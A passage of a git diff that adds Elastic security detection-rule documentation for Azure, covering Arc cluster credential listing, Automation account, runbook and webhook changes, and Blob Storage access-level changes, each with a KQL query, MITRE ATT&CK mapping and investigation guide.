+[[prebuilt-rule-8-19-34-azure-arc-cluster-credential-access-by-identity-from-unusual-source]] +=== Azure Arc Cluster Credential Access by Identity from Unusual Source + +Detects when a service principal or user performs an Azure Arc cluster credential listing operation from a source IP not previously associated with that identity. The `listClusterUserCredential` action retrieves credentials for the Arc Cluster Connect proxy, enabling kubectl access through the Azure ARM API. An adversary using stolen service principal credentials will typically call this operation from infrastructure not previously seen for that SP. By tracking the combination of caller identity and source IP, this rule avoids false positives from backend services and CI/CD pipelines that rotate IPs but maintain consistent identity-to-IP patterns over time. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://learn.microsoft.com/en-us/cli/azure/connectedk8s#az-connectedk8s-proxy +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://nvd.nist.gov/vuln/detail/cve-2022-37968 + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Arc +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: New Terms +* Platform: Azure + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Arc Cluster Credential Access by Identity from Unusual Source* + + +The `listClusterUserCredential` operation on an Azure Arc-connected cluster returns credentials that allow the caller +to establish a proxy tunnel via `az connectedk8s proxy`. This proxy routes kubectl commands through the Azure ARM API, +enabling Kubernetes access without direct network connectivity to the cluster API server. + + +*Possible investigation steps* + + +- Identify the caller service principal using `azure.activitylogs.identity.claims.appid` and cross-reference with + Azure AD to determine if this is a known application. +- Check the source IP and geolocation — is this from a country or ASN where your organization operates? +- Correlate with Azure Sign-In Logs around the same time to see the full authentication chain (SP login followed by + credential listing). +- Verify the Azure role used — the `Azure Arc Enabled Kubernetes Cluster User Role` is required for this operation. + Was this role recently assigned? +- Check if subsequent Arc-proxied operations (secret/configmap CRUD) occurred after the credential access. +- Review the service principal creation date in Azure AD — recently created SPs are more suspicious. + + +*Response and remediation* + + +- If the source IP is from an unexpected country or the service principal is not recognized, treat as potential + credential compromise. +- Revoke the service principal credentials and remove Arc RBAC role assignments. +- Review Kubernetes audit logs for any operations performed through the Arc proxy after credential access. +- Rotate any Kubernetes secrets that may have been accessed. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" + and azure.activitylogs.operation_name: "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/LISTCLUSTERUSERCREDENTIAL/ACTION" + and event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-account-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-account-created.asciidoc new file mode 100644 index 0000000000..9fef3cd6f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-account-created.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-azure-automation-account-created]] +=== Azure Automation Account Created + +Identifies when an Azure Automation account is created. Azure Automation accounts can be used to automate management tasks and orchestrate actions across systems. An adversary may create an Automation account in order to maintain persistence in their target's environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Account Created* + + +Azure Automation accounts facilitate the automation of management tasks and orchestration across cloud environments, enhancing operational efficiency. However, adversaries may exploit these accounts to establish persistence by automating malicious activities. The detection rule monitors the creation of these accounts by analyzing specific Azure activity logs, focusing on successful operations, to identify potential unauthorized or suspicious account creations. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the creation of the Automation account by checking for the operation name "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WRITE" and ensure the event outcome is marked as Success. +- Identify the user or service principal that initiated the creation of the Automation account by examining the associated user identity information in the activity logs. +- Investigate the context of the Automation account creation by reviewing recent activities performed by the identified user or service principal to determine if there are any other suspicious or unauthorized actions. +- Check the configuration and permissions of the newly created Automation account to ensure it does not have excessive privileges that could be exploited for persistence or lateral movement. +- Correlate the Automation account creation event with other security alerts or logs to identify any patterns or indicators of compromise that may suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when legitimate users create Azure Automation accounts for operational purposes. To manage this, maintain a list of authorized personnel and their expected activities, and cross-reference alerts with this list. +- Automated deployment scripts or infrastructure-as-code tools might create automation accounts as part of their normal operation. Identify these scripts and exclude their associated activities from triggering alerts by using specific identifiers or tags. +- Scheduled maintenance or updates by cloud service providers could result in the creation of automation accounts. Verify the timing and context of the account creation against known maintenance schedules and exclude these from alerts if they match. +- Development and testing environments often involve frequent creation and deletion of resources, including automation accounts. Implement separate monitoring rules or environments for these non-production areas to reduce noise in alerts. + + +*Response and remediation* + + +- Immediately review the Azure activity logs to confirm the creation of the Automation account and identify the user or service principal responsible for the action. +- Disable the newly created Azure Automation account to prevent any potential malicious automation tasks from executing. +- Conduct a thorough investigation of the user or service principal that created the account to determine if their credentials have been compromised or if they have acted maliciously. +- Reset credentials and enforce multi-factor authentication for the identified user or service principal to prevent unauthorized access. +- Review and adjust Azure role-based access control (RBAC) policies to ensure that only authorized personnel have the ability to create Automation accounts. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems or accounts have been compromised. +- Implement enhanced monitoring and alerting for future Automation account creations to quickly detect and respond to similar threats. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WRITE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-runbook-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-runbook-created-or-modified.asciidoc new file mode 100644 index 0000000000..1dc48b7833 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-runbook-created-or-modified.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-azure-automation-runbook-created-or-modified]] +=== Azure Automation Runbook Created or Modified + +Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Execution +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Runbook Created or Modified* + + +Azure Automation Runbooks are scripts that automate tasks in cloud environments, enhancing operational efficiency. However, adversaries can exploit them to execute unauthorized code and maintain persistence. The detection rule monitors specific Azure activity logs for runbook creation or modification events, flagging successful operations to identify potential misuse. This helps in early detection of malicious activities, ensuring cloud security. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific runbook that was created or modified, focusing on the operation names: "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DRAFT/WRITE", "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE", or "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/PUBLISH/ACTION". +- Check the event.outcome field to confirm the operation was successful, as indicated by the values "Success" or "success". +- Identify the user or service principal that performed the operation by examining the relevant user identity fields in the activity logs. +- Investigate the content and purpose of the runbook by reviewing its script or configuration to determine if it contains any unauthorized or suspicious code. +- Correlate the runbook activity with other security events or alerts in the environment to identify any patterns or related malicious activities. +- Verify if the runbook changes align with recent legitimate administrative activities or if they were unexpected, which could indicate potential misuse. + + +*False positive analysis* + + +- Routine updates or maintenance activities by authorized personnel can trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts that regularly perform these tasks. +- Automated deployment processes that include runbook creation or modification might be flagged. Identify and exclude these processes by tagging them with specific identifiers in the logs. +- Integration with third-party tools that modify runbooks as part of their normal operation can result in false positives. Work with your IT team to whitelist these tools or their associated accounts. +- Frequent testing or development activities in non-production environments may cause alerts. Consider setting up separate monitoring rules or thresholds for these environments to reduce noise. +- Scheduled runbook updates for compliance or policy changes can be mistaken for suspicious activity. Document these schedules and adjust the detection rule to account for them, possibly by excluding specific operation names during these times. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Automation account to prevent further unauthorized runbook executions. This can be done by disabling the account or restricting its permissions temporarily. +- Review the modified or newly created runbooks to identify any malicious code or unauthorized changes. Remove or revert any suspicious modifications to ensure the integrity of the automation scripts. +- Conduct a thorough audit of recent activities associated with the affected Azure Automation account, focusing on identifying any unauthorized access or changes made by adversaries. +- Reset credentials and update access controls for the affected Azure Automation account to prevent further unauthorized access. Ensure that only authorized personnel have the necessary permissions to create or modify runbooks. +- Implement additional monitoring and alerting for Azure Automation activities, specifically focusing on runbook creation and modification events, to enhance early detection of similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been compromised. +- Document the incident, including all actions taken and findings, to improve response strategies and update incident response plans for future reference. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name: + ( + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DRAFT/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/PUBLISH/ACTION" + ) and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-runbook-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-runbook-deleted.asciidoc new file mode 100644 index 0000000000..7fa3dc4b22 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-runbook-deleted.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-azure-automation-runbook-deleted]] +=== Azure Automation Runbook Deleted + +Identifies when an Azure Automation runbook is deleted. An adversary may delete an Azure Automation runbook in order to disrupt their target's automated business operations or to remove a malicious runbook for defense evasion. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Runbook Deleted* + + +Azure Automation Runbooks automate repetitive tasks in cloud environments, enhancing operational efficiency. Adversaries may exploit this by deleting runbooks to disrupt operations or conceal malicious activities. The detection rule monitors Azure activity logs for successful runbook deletions, signaling potential defense evasion tactics, and alerts analysts to investigate further. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking the operation name "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity information in the activity logs. +- Investigate the timeline of events leading up to and following the runbook deletion to identify any suspicious activities or patterns, such as unauthorized access attempts or changes to other resources. +- Check for any recent modifications or unusual activities in the affected Azure Automation account to determine if there are other signs of compromise or tampering. +- Assess the impact of the deleted runbook on business operations and determine if any critical automation processes were disrupted. +- If applicable, review any available backup or version history of the deleted runbook to restore it and mitigate operational disruptions. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may lead to legitimate runbook deletions. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or third-party tools that manage runbooks might trigger deletions as part of their normal operation. Identify these tools and exclude their activity from alerts by filtering based on their service accounts or IP addresses. +- Organizational policy changes or cloud environment restructuring can result in planned runbook deletions. Document these changes and adjust the detection rule to exclude these events by correlating with change management records. +- Test environments often involve frequent creation and deletion of runbooks. Exclude these environments from alerts by using tags or specific resource group identifiers associated with non-production environments. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Automation account to prevent further unauthorized deletions or modifications of runbooks. +- Review the Azure activity logs to identify the user or service principal responsible for the deletion and revoke their access if unauthorized. +- Restore the deleted runbook from backups or version control if available, ensuring that the restored version is free from any malicious modifications. +- Conduct a security review of all remaining runbooks to ensure they have not been tampered with or contain malicious code. +- Implement stricter access controls and auditing for Azure Automation accounts, ensuring that only authorized personnel have the ability to delete runbooks. +- Escalate the incident to the security operations team for further investigation and to determine if additional malicious activities have occurred. +- Enhance monitoring and alerting for similar activities by integrating additional context or indicators from the MITRE ATT&CK framework related to defense evasion tactics. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DELETE" and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-webhook-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-webhook-created.asciidoc new file mode 100644 index 0000000000..d830b7972a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-automation-webhook-created.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-azure-automation-webhook-created]] +=== Azure Automation Webhook Created + +Identifies when an Azure Automation webhook is created. Azure Automation runbooks can be configured to execute via a webhook. A webhook uses a custom URL passed to Azure Automation along with a data payload specific to the runbook. An adversary may create a webhook in order to trigger a runbook that contains malicious code. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://www.ciraltos.com/webhooks-and-azure-automation-runbooks/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Webhook Created* + + +Azure Automation webhooks enable automated task execution via HTTP requests, integrating with external systems. Adversaries may exploit this by creating webhooks to trigger runbooks with harmful scripts, maintaining persistence. The detection rule identifies webhook creation events, focusing on specific operation names and successful outcomes, to flag potential misuse in cloud environments. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal that initiated the webhook creation by examining the `event.dataset` and `azure.activitylogs.operation_name` fields. +- Check the associated runbook linked to the created webhook to determine its purpose and inspect its content for any potentially malicious scripts or commands. +- Investigate the source IP address and location from which the webhook creation request originated to identify any unusual or unauthorized access patterns. +- Verify the legitimacy of the webhook by contacting the owner of the Azure Automation account or the relevant team to confirm if the webhook creation was expected and authorized. +- Assess the broader context of the activity by reviewing recent changes or activities in the Azure Automation account to identify any other suspicious actions or configurations. + + +*False positive analysis* + + +- Routine webhook creations for legitimate automation tasks can trigger false positives. Review the context of the webhook creation, such as the associated runbook and its purpose, to determine if it aligns with expected operations. +- Frequent webhook creations by trusted users or service accounts may not indicate malicious activity. Consider creating exceptions for these users or accounts to reduce noise in alerts. +- Automated deployment processes that involve creating webhooks as part of their workflow can be mistaken for suspicious activity. Document these processes and exclude them from triggering alerts if they are verified as safe. +- Integration with third-party services that require webhook creation might generate alerts. Verify these integrations and whitelist them if they are part of approved business operations. +- Regularly review and update the list of exceptions to ensure that only verified non-threatening behaviors are excluded, maintaining the effectiveness of the detection rule. + + +*Response and remediation* + + +- Immediately disable the suspicious webhook to prevent further execution of potentially harmful runbooks. +- Review the runbook associated with the webhook for any unauthorized or malicious scripts and remove or quarantine any identified threats. +- Conduct a thorough audit of recent changes in the Azure Automation account to identify any unauthorized access or modifications. +- Revoke any compromised credentials and enforce multi-factor authentication (MFA) for all accounts with access to Azure Automation. +- Notify the security team and relevant stakeholders about the incident for further investigation and to ensure awareness of potential threats. +- Implement enhanced monitoring and alerting for webhook creation and execution activities to detect similar threats in the future. +- Document the incident, including actions taken and lessons learned, to improve response strategies and prevent recurrence. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and + azure.activitylogs.operation_name: + ( + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WEBHOOKS/ACTION" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/WEBHOOKS/WRITE" + ) and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-blob-storage-container-access-level-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-blob-storage-container-access-level-modified.asciidoc new file mode 100644 index 0000000000..a648857add --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-blob-storage-container-access-level-modified.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-azure-blob-storage-container-access-level-modified]] +=== Azure Blob Storage Container Access Level Modified + +Identifies changes to container access levels in Azure. Anonymous public read access to containers and blobs in Azure is a way to share data broadly, but can present a security risk if access to sensitive data is not managed judiciously. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/storage/blobs/anonymous-read-access-prevent + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Asset Visibility +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Azure +* Data Source: Azure Activity Logs +* Service: Azure Storage + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Blob Storage Container Access Level Modified* + + +Azure Blob Storage is a service for storing large amounts of unstructured data, where access levels can be configured to control data visibility. Adversaries may exploit misconfigured access levels to gain unauthorized access to sensitive data. The detection rule monitors changes in container access settings, focusing on successful modifications, to identify potential security risks associated with unauthorized access level changes. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific storage account and container where the access level modification occurred, using the operation name "MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE". +- Verify the identity of the user or service principal that performed the modification by examining the associated user information in the activity logs. +- Check the timestamp of the modification to determine if it aligns with any known maintenance windows or authorized changes. +- Investigate the previous access level settings of the container to assess the potential impact of the change, especially if it involved enabling anonymous public read access. +- Correlate the event with any other recent suspicious activities or alerts in the Azure environment to identify potential patterns or coordinated actions. +- Contact the owner of the storage account or relevant stakeholders to confirm whether the change was authorized and aligns with organizational policies. + + +*False positive analysis* + + +- Routine administrative changes to container access levels by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles that regularly perform these tasks. +- Automated scripts or tools used for managing storage configurations may cause false positives. Identify and exclude these scripts or tools from monitoring if they are verified as non-threatening. +- Scheduled updates or maintenance activities that involve access level modifications can be mistaken for unauthorized changes. Document and schedule these activities to align with monitoring rules, allowing for temporary exclusions during these periods. +- Changes made by trusted third-party services integrated with Azure Blob Storage might be flagged. Verify these services and exclude their operations from triggering alerts if they are deemed secure and necessary for business operations. + + +*Response and remediation* + + +- Immediately revoke public read access to the affected Azure Blob container to prevent unauthorized data exposure. +- Review the access logs to identify any unauthorized access or data exfiltration attempts during the period when the access level was modified. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access level change and any potential data exposure. +- Conduct a thorough audit of all Azure Blob containers to ensure that access levels are configured according to the organization's security policies and that no other containers are misconfigured. +- Implement additional monitoring and alerting for changes to access levels on Azure Blob containers to ensure rapid detection of any future unauthorized modifications. +- If sensitive data was exposed, initiate a data breach response plan, including notifying affected parties and regulatory bodies as required by law. +- Review and update access management policies and procedures to prevent recurrence, ensuring that only authorized personnel can modify container access levels. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.STORAGE/STORAGEACCOUNTS/BLOBSERVICES/CONTAINERS/WRITE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-blob-storage-permissions-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-blob-storage-permissions-modified.asciidoc new file mode 100644 index 0000000000..3ea5608fa3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-azure-blob-storage-permissions-modified.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-34-azure-blob-storage-permissions-modified]] +=== Azure Blob Storage Permissions Modified + +Identifies when the Azure role-based access control (Azure RBAC) permissions are modified for an Azure Blob. An adversary may modify the permissions on a blob to weaken their target's security controls or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m 